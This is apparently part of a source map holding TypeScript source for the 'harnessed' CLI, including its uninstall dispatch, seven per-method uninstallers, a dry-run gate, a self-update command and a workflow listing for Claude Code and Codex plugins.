  } catch (e) {\n      failures.push(`${dir}: ${(e as Error).message}`)\n    }\n  }\n\n  let removedSettings = false\n  if (hasSettingsChanges) {\n    try {\n      removedSettings = await removeSettingsEnv(settingsPath)\n    } catch (e) {\n      failures.push(`${settingsPath}: ${(e as Error).message}`)\n    }\n  }\n\n  // Defense-in-depth: validate state dir is under the platform home dir\n  // (~/.claude or ~/.codex) before recursive rm. Claude behavior unchanged.\n  const normalizedRoot = pathResolve(harnessedRoot)\n  const platformHome = platform.homeDir\n  if (!normalizedRoot.startsWith(pathResolve(platformHome) + sep)) {\n    console.error(`error: state dir ${harnessedRoot} is not under ${platformHome} — refusing`)\n    process.exit(1)\n  }\n  let removedStateDir = false\n  try {\n    await rm(harnessedRoot, { recursive: true, force: true })\n    removedStateDir = true\n  } catch (e) {\n    failures.push(`${harnessedRoot}: ${(e as Error).message}`)\n  }\n\n  // ── Completion ──────────────────────────────────────────────\n  if (removedCommands > 0)\n    console.log(t('uninstall.unified.removed_commands', { count: removedCommands }))\n  if (removedSkills > 0)\n    console.log(t('uninstall.unified.removed_skills', { count: removedSkills }))\n  if (removedSettings) console.log(t('uninstall.unified.removed_settings'))\n  if (removedStateDir) console.log(t('uninstall.unified.removed_state_dir'))\n  if (failures.length > 0) {\n    console.error(t('uninstall.unified.partial_failure', { count: failures.length }))\n    for (const f of failures) console.error(`  ${f}`)\n  }\n  console.log(t('uninstall.unified.complete'))\n  process.exit(0)\n}\n\n// ── CLI registration ──────────────────────────────────────────────\n\nexport function registerUninstall(program: Command): void {\n  program\n    .command('uninstall [name]')\n    .description(\n      'Uninstall an upstream by name, or remove all harnessed own files when no name given',\n    )\n    .option('--dry-run', 'preview only — do not delete files')\n    .action(async (name: string | undefined, raw: RawOpts) => {\n      const dryRun = raw.dryRun === true\n\n      // ── Unified uninstall (no name argument) ──\n      if (!name) {\n        await runUnifiedUninstall(homedir(), dryRun)\n        return\n      }\n\n      // ── Per-manifest uninstall (<name> provided) ──\n      const { resolveAlias } = await import('../manifest/aliases.js')\n      const resolvedName = resolveAlias(name) ?? name\n      checkPathSafe(resolvedName)\n\n      const manifestPath = pathResolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n      const skillPackPath = pathResolve(\n        getPackageRoot(),\n        `manifests/skill-packs/${resolvedName}.yaml`,\n      )\n      let yamlSrc: string\n      let chosenPath = manifestPath\n      try {\n        yamlSrc = await readFile(manifestPath, 'utf8')\n      } catch {\n        try {\n          yamlSrc = await readFile(skillPackPath, 'utf8')\n          chosenPath = skillPackPath\n        } catch {\n          console.error(\n            `${t('install.manifest_not_found', { name: resolvedName })}\\n${t('install.manifest_not_found.fix', { name: resolvedName })}`,\n          )\n          process.exit(1)\n        }\n      }\n\n      const v = validateManifestFile(yamlSrc, chosenPath)\n      if (!v.ok) {\n        for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n        process.exit(1)\n      }\n\n      if (dryRun) {\n        console.log(\n          t('uninstall.dry_run.preview', {\n            name: resolvedName,\n            method: v.manifest.spec.install.method,\n          }),\n        )\n        console.log(t('uninstall.dry_run.run_hint'))\n        process.exit(2)\n      }\n\n      const answer = await p.confirm({\n        message: t('uninstall.confirm.prompt', { name: resolvedName }),\n        initialValue: false,\n      })\n      if (p.isCancel(answer) || answer === false) {\n        console.error(t('uninstall.cancelled'))\n        process.exit(2)\n      }\n\n      const result = await runUninstall(v.manifest, { apply: true, dryRun: false, yes: true })\n\n      if ('aborted' in result) {\n        console.error(t('install.aborted', { reason: result.reason }))\n        process.exit(2)\n      }\n      if (result.ok) {\n        console.log(t('uninstall.completed', { name: resolvedName }))\n        process.exit(0)\n      }\n      console.error(`error: ${result.error}`)\n      process.exit(1)\n    })\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 7/7: cc-hook-add.\n// Reverse JSON deep-merge: filter matching hook entry from ~/.claude/settings.json.\n// Idempotent: settings.json absent or hook not present → ok:true noop.\n// Sister: src/installers/ccHookAdd.ts — inverse of install-time merge.\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { getSettingsPath } from '../installers/lib/platform.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\ninterface Settings {\n  hooks?: Record<string, { matcher?: string; command: string }[]>\n  [k: string]: unknown\n}\n\nexport const uninstallCcHookAdd: Uninstaller = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'cc-hook-add') {\n    return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n  }\n\n  const abort = dryRunGate(ctx)\n  if (abort) return abort\n\n  // v4.14.0 — settings path via descriptor (claude byte-identical; cc-hook-add\n  // is gated claude-only at runInstall dispatch, so codex never reaches here).\n  const settingsPath = getSettingsPath()\n  let existing: string\n  try {\n    existing = await readFile(settingsPath, 'utf8')\n  } catch {\n    // File absent — hook can't be present, idempotent noop.\n    return { ok: true, removedPaths: [] }\n  }\n\n  let settings: Settings\n  try {\n    settings = JSON.parse(existing) as Settings\n  } catch (e) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n    }\n  }\n\n  const ev = install.hook_event\n  const cmd = install.hook_command\n  const matcher = install.hook_matcher\n\n  if (!settings.hooks?.[ev]) {\n    // Hook event block absent — idempotent noop.\n    return { ok: true, removedPaths: [] }\n  }\n\n  const before = settings.hooks[ev].length\n  settings.hooks[ev] = settings.hooks[ev].filter(\n    (h) => !(h.command === cmd && h.matcher === matcher),\n  )\n\n  // Clean up empty hook event array.\n  if (settings.hooks[ev].length === 0) delete settings.hooks[ev]\n  if (Object.keys(settings.hooks).length === 0) delete settings.hooks\n\n  if (settings.hooks?.[ev]?.length === before || before === settings.hooks?.[ev]?.length) {\n    // No change — hook was not present, idempotent noop.\n  }\n\n  const newText = `${JSON.stringify(settings, null, 2)}\\n`\n  await writeFile(settingsPath, newText)\n\n  return { ok: true, removedPaths: [settingsPath] }\n}\n","// Phase 5.2 W0 #BI — extract dry-run gate duplicate from 7 installer files.\n// Sister: src/installers/lib/err.ts (Phase 5.1 W0 #BG extract pattern).\n//\n// 7-site duplicate pattern (npmCli + mcpStdioAdd + mcpHttpAdd +\n// ccPluginMarketplace + gitCloneWithSetup + npxSkillInstaller + ccHookAdd):\n//   if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n//\n// Used by all 7 src/uninstallers/*.ts (Wave 1 T1.2).\n// NOT used by installers/ — installer files unchanged Phase 5.2.\n\n/** Minimal context shape — expanded by src/uninstallers/lib/types.ts (T1.1). */\ninterface DryRunCtx {\n  opts: { dryRun: boolean }\n}\n\n/** Dry-run abort result — mirrors UninstallResult aborted variant (T1.1). */\ntype AbortResult = { aborted: true; reason: 'dry-run' }\n\n/**\n * Returns an abort result if ctx.opts.dryRun is true, otherwise null.\n * Callers: `const abort = dryRunGate(ctx); if (abort) return abort`\n */\nexport function dryRunGate(ctx: DryRunCtx): AbortResult | null {\n  if (ctx.opts.dryRun) return { aborted: true, reason: 'dry-run' }\n  return null\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 4/7: cc-plugin-marketplace.\n// BDL T1.0: `claude plugin uninstall <plugin>@<marketplace>` (scope defaults user).\n// parseCmd inline — single caller, YAGNI per RESEARCH § 7 Q2.\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { detectPlatform } from '../installers/lib/platform.js'\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/ccPluginMarketplace.ts parseCmd — extract pluginAtMkt only.\nfunction extractPluginAtMkt(cmd: string): string | null {\n  const m = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n  if (!m || m[1] === undefined) return null\n  const pluginAtMkt = m[1].replace(/[;&]+$/, '')\n  return pluginAtMkt.includes('@') ? pluginAtMkt : null\n}\n\nexport const uninstallCcPluginMarketplace: Uninstaller = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'cc-plugin-marketplace') {\n    return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n  }\n\n  const abort = dryRunGate(ctx)\n  if (abort) return abort\n\n  // v4.14.0 — claude-only uninstall path: the uninstall dispatch does NOT merge\n  // spec.harness_overrides, so on a non-claude platform we fail honest instead\n  // of spawning the wrong CLI. Codex-installed plugins are removed with\n  // `codex plugin remove <p>@<m>` manually (follow-up: override-aware uninstall).\n  if (detectPlatform().id !== 'claude') {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error:\n        'cc-plugin-marketplace uninstall is claude-only; on codex remove the plugin with `codex plugin remove <plugin>@<marketplace>`',\n    }\n  }\n\n  const pluginAtMkt = extractPluginAtMkt(install.cmd)\n  if (!pluginAtMkt) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: `cc-plugin-marketplace cmd missing plugin install <plugin>@<marketplace>: '${install.cmd.slice(0, 80)}'`,\n    }\n  }\n\n  const r = await runArgs(['plugin', 'uninstall', pluginAtMkt], ctx.cwd)\n  if (r.exitCode !== 0) {\n    return {\n      ok: false,\n      phase: 'spawn',\n      error: `claude plugin uninstall exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n    }\n  }\n  return { ok: true, removedPaths: [pluginAtMkt] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 5/7: git-clone-with-setup.\n// Node 22 native fs.rm cross-OS (no shell spawn per RESEARCH zero-risk).\n// extractCloneTarget inline — sister src/installers/gitCloneWithSetup.ts L70-98 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/gitCloneWithSetup.ts extractCloneTarget — refactor to shared lib if 3rd caller appears.\nfunction extractCloneTarget(cmd: string): string | null {\n  const idx = cmd.indexOf('git clone')\n  if (idx < 0) return null\n  const tail = cmd.slice(idx + 'git clone'.length).trim()\n  const tokens = tail.split(/\\s+/)\n  let i = 0\n  while (i < tokens.length) {\n    const t = tokens[i]\n    if (t === undefined || !t.startsWith('-')) break\n    if (t === '--depth' || t === '--branch' || t === '-b') {\n      i += 2\n    } else if (t.includes('=')) {\n      i += 1\n    } else {\n      i += 2\n    }\n  }\n  const dest = tokens[i + 1]\n  if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n  if (dest.startsWith('~/')) {\n    const home = process.env.HOME ?? process.env.USERPROFILE\n    if (!home) return null\n    return `${home}${dest.slice(1)}`\n  }\n  return dest\n}\n\nexport const uninstallGitCloneWithSetup: Uninstaller = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'git-clone-with-setup') {\n    return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n  }\n\n  const abort = dryRunGate(ctx)\n  if (abort) return abort\n\n  const cloneTarget = extractCloneTarget(install.cmd)\n  if (!cloneTarget) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: `git-clone-with-setup cmd missing parseable 'git clone <url> <dest>': '${install.cmd.slice(0, 80)}'`,\n    }\n  }\n\n  await rm(cloneTarget, { recursive: true, force: true, maxRetries: 3 })\n  return { ok: true, removedPaths: [cloneTarget] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 3/7: mcp-http-add.\n// BDL T1.0: `claude mcp remove <name>` transport-agnostic (same cmd as mcpStdioAdd).\n// v4.14.0 — bin follows detectPlatform().id (sister mcpStdioAdd uninstaller).\n\nimport { detectPlatform } from '../installers/lib/platform.js'\nimport { runHarnessArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpHttpAdd: Uninstaller = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'mcp-http-add') {\n    return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n  }\n\n  const abort = dryRunGate(ctx)\n  if (abort) return abort\n\n  const bin = detectPlatform().id === 'codex' ? 'codex' : 'claude'\n  const name = ctx.manifest.metadata.name\n  const r = await runHarnessArgs(bin, ['mcp', 'remove', name], ctx.cwd)\n  if (r.exitCode !== 0) {\n    return {\n      ok: false,\n      phase: 'spawn',\n      error: `${bin} mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n    }\n  }\n  return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 2/7: mcp-stdio-add.\n// BDL T1.0: `claude mcp remove <name>` (no --scope needed; transport-agnostic).\n// v4.14.0 — bin follows detectPlatform().id: codex → `codex mcp remove <name>`\n// (same CLI shape, findings.md research). Reuses runHarnessArgs.\n\nimport { detectPlatform } from '../installers/lib/platform.js'\nimport { runHarnessArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpStdioAdd: Uninstaller = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'mcp-stdio-add') {\n    return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n  }\n\n  const abort = dryRunGate(ctx)\n  if (abort) return abort\n\n  const bin = detectPlatform().id === 'codex' ? 'codex' : 'claude'\n  const name = ctx.manifest.metadata.name\n  const r = await runHarnessArgs(bin, ['mcp', 'remove', name], ctx.cwd)\n  if (r.exitCode !== 0) {\n    return {\n      ok: false,\n      phase: 'spawn',\n      error: `${bin} mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n    }\n  }\n  return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 1/7: npm-cli.\n// D-02: ephemeral detect (npx --yes / npx -y in install.cmd) → no-op + warn exit 0.\n// Otherwise: `npm uninstall <pkg>` via direct spawn (NOT runArgs — runArgs prefixes 'claude').\n\nimport { spawn } from 'node:child_process'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallNpmCli: Uninstaller = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'npm-cli') {\n    return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n  }\n\n  // D-02: ephemeral detect — npx --yes / npx -y means runtime-only, nothing to uninstall.\n  if (/\\bnpx\\s+(--yes|-y)\\b/.test(install.cmd)) {\n    const name = ctx.manifest.metadata.name\n    console.warn(\n      `ephemeral install: nothing to uninstall ('${name}' uses 'npx --yes' runtime-only invocation; no persistent install to remove)`,\n    )\n    return { ok: true, removedPaths: [] }\n  }\n\n  const abort = dryRunGate(ctx)\n  if (abort) return abort\n\n  // Extract package name from install.cmd (e.g. \"npm install -g ctx7\" → \"ctx7\")\n  const m = install.cmd.match(/npm\\s+(?:install|i)\\s+(?:-g\\s+)?(\\S+)/)\n  const pkg = m?.[1] ?? ctx.manifest.metadata.upstream.source\n\n  const isWin = process.platform === 'win32'\n  const result = await new Promise<{ exitCode: number; stderr: string }>((resolve) => {\n    const child = isWin\n      ? spawn('cmd.exe', ['/c', 'npm', 'uninstall', '-g', pkg], { windowsHide: true })\n      : spawn('npm', ['uninstall', '-g', pkg], { shell: false })\n    let stderr = ''\n    child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n      stderr += c\n    })\n    const timer = setTimeout(() => {\n      child.kill('SIGKILL')\n      resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n    }, 30_000)\n    child.on('error', (e) => {\n      clearTimeout(timer)\n      resolve({ exitCode: -1, stderr: e.message })\n    })\n    child.on('close', (code) => {\n      clearTimeout(timer)\n      resolve({ exitCode: code ?? -1, stderr })\n    })\n  })\n\n  if (result.exitCode !== 0) {\n    return {\n      ok: false,\n      phase: 'spawn',\n      error: `npm uninstall exited ${result.exitCode}: ${result.stderr.slice(0, 200)}`,\n    }\n  }\n  return { ok: true, removedPaths: [pkg] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 6/7: npx-skill-installer.\n// NOT ephemeral (npxSkill writes persistent files per RESEARCH § 2 L155 + Pitfall 2).\n// extractSkillName imported from shared lib (sister installers/lib/idempotent.ts).\n\nimport { rm } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport { extractSkillName } from '../installers/lib/idempotent.js'\nimport { getSkillsDir } from '../installers/lib/platform.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallNpxSkillInstaller: Uninstaller = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'npx-skill-installer') {\n    return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n  }\n\n  const abort = dryRunGate(ctx)\n  if (abort) return abort\n\n  const name = ctx.manifest.metadata.name\n  const skillName = extractSkillName(install.cmd, name)\n  // v4.14.0 — platform skills dir via descriptor (was hardcoded ~/.claude/skills).\n  const skillDir = join(getSkillsDir(), skillName)\n\n  await rm(skillDir, { recursive: true, force: true, maxRetries: 3 })\n  return { ok: true, removedPaths: [skillDir] }\n}\n","// Phase 5.2 W1 T1.2 — uninstaller dispatch table.\n// Sister: src/installers/index.ts symmetric pattern.\n// D-01 LOCKED: per-method 7 files (no levelOf() — uninstall has no L4 --system gate).\n\nimport { uninstallCcHookAdd } from './ccHookAdd.js'\nimport { uninstallCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { uninstallGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Manifest, Uninstaller, UninstallOpts, UninstallResult } from './lib/types.js'\nimport { uninstallMcpHttpAdd } from './mcpHttpAdd.js'\nimport { uninstallMcpStdioAdd } from './mcpStdioAdd.js'\nimport { uninstallNpmCli } from './npmCli.js'\nimport { uninstallNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const uninstallers: Record<Manifest['spec']['install']['method'], Uninstaller> = {\n  'npm-cli': uninstallNpmCli,\n  'mcp-stdio-add': uninstallMcpStdioAdd,\n  'mcp-http-add': uninstallMcpHttpAdd,\n  'cc-plugin-marketplace': uninstallCcPluginMarketplace,\n  'git-clone-with-setup': uninstallGitCloneWithSetup,\n  'npx-skill-installer': uninstallNpxSkillInstaller,\n  'cc-hook-add': uninstallCcHookAdd,\n}\n\nexport async function runUninstall(\n  manifest: Manifest,\n  opts: UninstallOpts,\n): Promise<UninstallResult> {\n  const uninstaller = uninstallers[manifest.spec.install.method]\n  return uninstaller({ manifest, opts, cwd: process.cwd() })\n}\n","// Phase 20 — `harnessed update`. GSD `/gsd-update`-style: check the published\n// version, self-update (`npm i -g harnessed@latest`), and optionally re-run the\n// base manifests to upgrade upstream plugins. Plus `--migration-report` (read-only\n// stale-state inventory) and `--check` (report only). Closes the `comet update` gap.\n//\n// Self-update assumes a global install (the documented `npm install -g harnessed`\n// path); the command prints the exact npm invocation, so non-global users see it.\nimport { execFileSync } from 'node:child_process'\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport pkg from '../../package.json' with { type: 'json' }\nimport { getHarnessedRoot } from '../installers/lib/harnessedRoot.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface UpdateOpts {\n  check?: boolean\n  upstreams?: boolean\n  all?: boolean\n  migrationReport?: boolean\n}\n\nfunction npmExecutable(): string {\n  return process.platform === 'win32' ? 'npm.cmd' : 'npm'\n}\n\nfunction changelogTop(): string | null {\n  try {\n    const p = join(getPackageRoot(), 'CHANGELOG.md')\n    if (!existsSync(p)) return null\n    const body = readFileSync(p, 'utf8')\n    // first \"## \" section (Keep-a-Changelog entry) bounded for readability\n    const start = body.indexOf('\\n## ')\n    if (start < 0) return null\n    const rest = body.slice(start + 1)\n    const next = rest.indexOf('\\n## ', 1)\n    return (next > 0 ? rest.slice(0, next) : rest).trim().slice(0, 1200)\n  } catch {\n    return null\n  }\n}\n\nexport function registerUpdate(program: Command): void {\n  program\n    .command('update')\n    .description('Update harnessed to the latest version (and, with --upstreams, the base plugins)')\n    .option('--check', 'report installed/latest version without installing')\n    .option('--upstreams', 're-run the base manifests to upgrade upstream plugins')\n    .option('--all', 'alias for --upstreams (self + upstreams)')\n    .option('--migration-report', 'read-only inventory of stale harnessed state (deletes nothing)')\n    .action(async (opts: UpdateOpts) => {\n      // --migration-report: read-only, no version check, no install.\n      if (opts.migrationReport === true) {\n        const { collectMigrationReport } = await import('./lib/migration-report.js')\n        const items = collectMigrationReport(process.cwd(), getHarnessedRoot())\n        console.log('\\n  migration report (read-only — nothing is deleted):\\n')\n        for (const it of items) {\n          console.log(`  ${it.present ? 'present' : 'absent '}  ${it.name}`)\n          console.log(`           ${it.path}`)\n          if (it.present) console.log(`           hint: ${it.hint}`)\n        }\n        process.exit(0)\n      }\n\n      const { compareVersions, fetchLatestVersion } = await import('./lib/version-check.js')\n      const latest = await fetchLatestVersion()\n      if (!latest) {\n        console.warn(\n          '[harnessed] could not reach npm to check the latest version — try again later',\n        )\n        process.exit(0)\n      }\n      const cmp = compareVersions(pkg.version, latest)\n\n      if (opts.check === true) {\n        console.log(`  installed: ${pkg.version}\\n  latest:    ${latest}\\n  status:    ${cmp}`)\n        process.exit(0)\n      }\n\n      if (cmp === 'behind') {\n        console.log(`[harnessed] updating ${pkg.version} → ${latest} ...`)\n        execFileSync(npmExecutable(), ['i', '-g', 'harnessed@latest'], {\n          stdio: 'inherit',\n          shell: process.platform === 'win32',\n        })\n        const cl = changelogTop()\n        if (cl) console.log(`\\n${cl}\\n`)\n        console.log(\n          '[harnessed] updated. Restart Claude Code so the new version + hooks take effect.',\n        )\n      } else {\n        console.log(`[harnessed] already up to date (${pkg.version}).`)\n      }\n\n      if (opts.upstreams === true || opts.all === true) {\n        console.log('[harnessed] re-running base manifests to upgrade upstream plugins ...')\n        const { installBaseProfile } = await import('./install-base.js')\n        const r = await installBaseProfile({\n          apply: true,\n          dryRun: false,\n          system: false,\n          nonInteractive: true,\n          fullDiff: false,\n          color: 'auto',\n        })\n        console.log(\n          `  upstreams — installed: ${r.installed.length} / already: ${r.alreadyInstalled.length} / skipped: ${r.skipped.length} / failed: ${r.failed.length}`,\n        )\n      }\n      process.exit(0)\n    })\n}\n","// `harnessed workflows` — list every in-flight workflow (one per repo-root) in\n// the Phase 15 multi-workflow store. The active workflow is resolved implicitly\n// by the current working directory, so this is the way to see what is running\n// across other repos on the machine.\nimport type { Command } from 'commander'\n\nexport function registerWorkflows(program: Command): void {\n  program\n    .command('workflows')\n    .description('List all in-flight workflows (one per repo) from the multi-workflow store')\n    .action(async () => {\n      const { listWorkflows } = await import('../checkpoint/workflowStore.js')\n      const ws = await listWorkflows()\n      if (ws.length === 0) {\n        console.log('[harnessed] no active workflows')\n        return\n      }\n      for (const w of ws) console.log(`${w.key}  ${w.phase} [${w.status}]`)\n    })\n}\n"]}